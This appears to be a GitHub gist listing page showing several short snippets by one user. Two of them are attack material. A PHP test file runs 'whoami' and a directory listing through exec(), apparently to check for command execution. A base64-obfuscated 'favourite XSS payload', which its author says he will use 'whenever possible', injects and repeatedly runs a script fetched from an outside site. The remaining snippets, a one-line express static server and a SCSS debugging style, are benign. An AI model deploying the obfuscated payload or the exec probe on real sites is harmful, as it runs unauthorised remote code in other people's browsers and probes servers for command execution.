Skip to content

Instantly share code, notes, and snippets.

View test.php
<h1> checking if this works </h1>
<? echo exec('whoami');
echo exec('ls /usr/share/php');
?>
@E314c
E314c / payload.js
Created Dec 19, 2019
My favourite XSS payload that I will use whenever possible
View payload.js
Function(atob('KCgpPT57eT1kb2N1bWVudDt4PXkuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7eC5zcmM9Imh0dHBzOi8vd3d3LmNvcm5pZnkuY29tL2pzL2Nvcm5pZnkuanMiO3gudHlwZT0idGV4dC9qYXZhc2NyaXB0Ijt5LmJvZHkuYXBwZW5kQ2hpbGQoeCk7c2V0SW50ZXJ2YWwoKCk9PndpbmRvdy5jb3JuaWZ5X2FkZCgpLDUwMCk7fSkoKQ=='))()
@E314c
E314c / wispi.md
Last active Aug 15, 2018
WiSpi Ideas and Information
View wispi.md
@E314c
E314c / static.js
Created Apr 6, 2018
one line express static server. (needs `express` installed)
View static.js
x=require('express');x().use(x.static(__dirname)).listen(3200,()=>console.log('listening on 3200'));
@E314c
E314c / undefinedWarning.scss
Created Mar 22, 2018
A style to catch "undefined" styles in modern webapps
View undefinedWarning.scss
/* In this modern world of webpacking and importing styles into your javascript
to make use of CSS modules, you sometimes end up asking for a style that just doesn't exist.
Thus, your component ends up with `undefined` in it's class definition.
At best, it's no noticable effect.
At worst, you're missing key styling you thought you had because of a typo in your JS.
This snippet just adds a style to `.undefined`, highlighting them on your screen for ease.
*/